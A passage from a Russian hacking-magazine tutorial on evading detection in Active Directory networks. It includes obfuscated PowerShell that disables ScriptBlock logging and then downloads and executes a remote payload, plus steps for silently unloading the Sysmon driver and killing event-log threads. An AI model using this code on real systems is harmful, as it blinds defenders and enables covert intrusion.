Проникнуть в сеть под управлением Active Directory — это только половина успеха. Другая важнейшая задача — оставаться в этой сети незамеченным как можно дольше. Поэтому сегодня мы разберем техники скрытия атаки от конкретных средств обнаружения и реагирования.
 

Обход журналирования PowerShell ScriptBlock

С выходом Windows 10 и PowerShell 5.0 компания Microsoft представила несколько новых функций безопасности для PowerShell, в числе которых — ведение журнала ScriptBlock. Эта функция создает большие проблемы для атакующего (будь то редтимер, пентестер, исследователь или злоумышленник), так как регистрирует абсолютно все подозрительные действия в PowerShell. И созданные ScriptBlock журналы подлежат анализу стороной защиты.

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный информацией из этой статьи.

Как и в случае с любой службой логирования, ведением журнала ScriptBlock управляют с помощью параметров групповой политики. PowerShell запрашивает его каждый раз, когда обнаруживает новый ScriptBlock, чтобы определить, нужно ли его регистрировать. Но дело в том, что PowerShell выполняет запрос один раз, кеширует его в памяти и возвращает при каждом обращении. Таким образом, эти параметры могут быть легко изменены с помощью следующего кода.

$GroupPolicySettingsField = [ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings', 'NonPublic,Static')
$GroupPolicySettings = $GroupPolicySettingsField.GetValue($null)
$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0
$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0

Указанные действия можно выполнить, не обладая привилегиями администратора и не трогая реестр, что позволяет нам сделать это незаметно. Но есть одно ограничение. Новые политики применяются после проверки параметров, которые будут просмотрены, когда завершится первый ScriptBlock, что приведет к регистрации события. Поэтому данный триггерный ScriptBlock должен быть максимально обфусцирован и не должен нести никакой полезной нагрузки. То есть выполняется он специально для завершения журналирования.

$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static')
If ($GroupPolicyField) {
    $GroupPolicyCache = $GroupPolicyField.GetValue($null)
    If ($GroupPolicyCache['ScriptB'+'lockLogging']) {
        $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0
        $GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0
    }
    $val = [System.Collections.Generic.Dictionary[string,System.Object]]::new()
    $val.Add('EnableScriptB'+'lockLogging', 0)
    $val.Add('EnableScriptB'+'lockInvocationLogging', 0)
    $GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] = $val
}
iex (New-Object Net.WebClient).downloadstring("https://server/payload.ps1")

Приведенный выше скрипт выполняет триггер для журнала, проверяет параметры логирования и запускает полезную нагрузку в обход журналирования.

 

Уклонение от регистрации Sysmon

Системный монитор (Sysmon) — это системная служба Windows, предназначенная для мониторинга и регистрации активности системы в журнале событий Windows. Она предоставляет подробную информацию о создании процессов, о сетевых подключениях и изменениях времени создания файлов. Sysmon генерирует с помощью Windows Event Collection или агентов SIEM события и собирает их. Анализ собранных событий помогает идентифицировать вредоносную или аномальную активность. Что очень важно, Sysmon не предоставляет анализ событий, которые он генерирует, а также не пытается защитить систему или спрятаться от злоумышленников.

Sysmon — мощное средство анализа и представляет большую проблему для оператора, так как позволяет обнаружить различные индикаторы вредоносной активности, например создание процессов, файлов, потоков или изменение реестра. Сам Sysmon состоит из системной службы и драйвера, который предоставляет службе информацию. Хотя Sysmon и не пытается себя скрыть, но имя службы и имя драйвера по умолчанию могут быть изменены.

Изменения имени Sysmon на DrvName
Изменения имени Sysmon на DrvName

В любом случае измененное имя драйвера не проблема, так как у каждого драйвера есть своя аптитуда — уникальный идентификатор, который указывает положение драйвера относительно остальных в стеке файловой системы. Таким образом, Sysmon имеет предопределенное значение 385201. То есть мы сможем обнаружить данный драйвер, даже если его переименуют.

Дефолтная аптитуда DrvName — 385201
Дефолтная аптитуда DrvName — 385201

Для выгрузки драйвера можно использовать fltMC, но перед этим Sysmon запротоколирует данное действие в журнале командной строки. Лучше использовать функции FIlterFindFirst() и FilterFindNext() из библиотеки fltlib.dll, чтобы найти и выгрузить драйвер с аптитудой 385201 без регистрации этого события.

Регистрация fltmc.exe в журнале командной строки с помощью Sysmon
Регистрация fltmc.exe в журнале командной строки с помощью Sysmon

Shhmon использует эти функции для выгрузки драйвера. Чтобы это сделать, токен процесса должен иметь привилегию SeLoadDriverPrivileges, которая есть у Shhmon за счет advapi32!AdjustTokenPrivileges.

Привилегии Shhmon
Привилегии Shhmon

Таким образом, мы без детекта можем обнаружить даже переименованный драйвер Sysmon. Для этого используем Shhmon с параметром hunt.

Обнаружение переименованного драйвера Sysmon
Обнаружение переименованного драйвера Sysmon

Затем выгружаем драйвер, используя Shhmon с параметром kill.

Обнаружение переименованного драйвера Sysmon
Обнаружение переименованного драйвера Sysmon

Служба Sysmon остается активной, но уже без возможности собирать события и анализировать журналы! Правда, это происходит не бесследно, так как перед выгрузкой драйвера будет сгенерировано событие Sysmon с ID 255 — DriverCommunication.

Событие Sysmon DriverCommunication
Событие Sysmon DriverCommunication

Плюс ко всему использование привилегии SeLoadDriverPrivileges без протоколирования доступно только для NT AUTHORITY\SYSTEM, в противном случае будет сгенерировано событие безопасности с ID 4672. Тем не менее активный сбор и анализ данных с помощью Sysmon перестанет быть для нас проблемой.

В качестве дополнения можно сказать про инструмент под названием Invoke-Phant0m. Этот сценарий просматривает стеки потоков процесса службы журнала событий и определяет, какие из потоков подлежат уничтожению. Таким образом, система не сможет собирать журналы, и в то же время служба журнала событий будет работать.

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», увеличит личную накопительную скидку и позволит накапливать профессиональный рейтинг Xakep Score! Подробнее

Check Also

Американская компания подверглась редкой атаке через BadUSB

Эксперты компании Trustwave рассказали, что неназванной американской компании прислали по …

Оставить мнение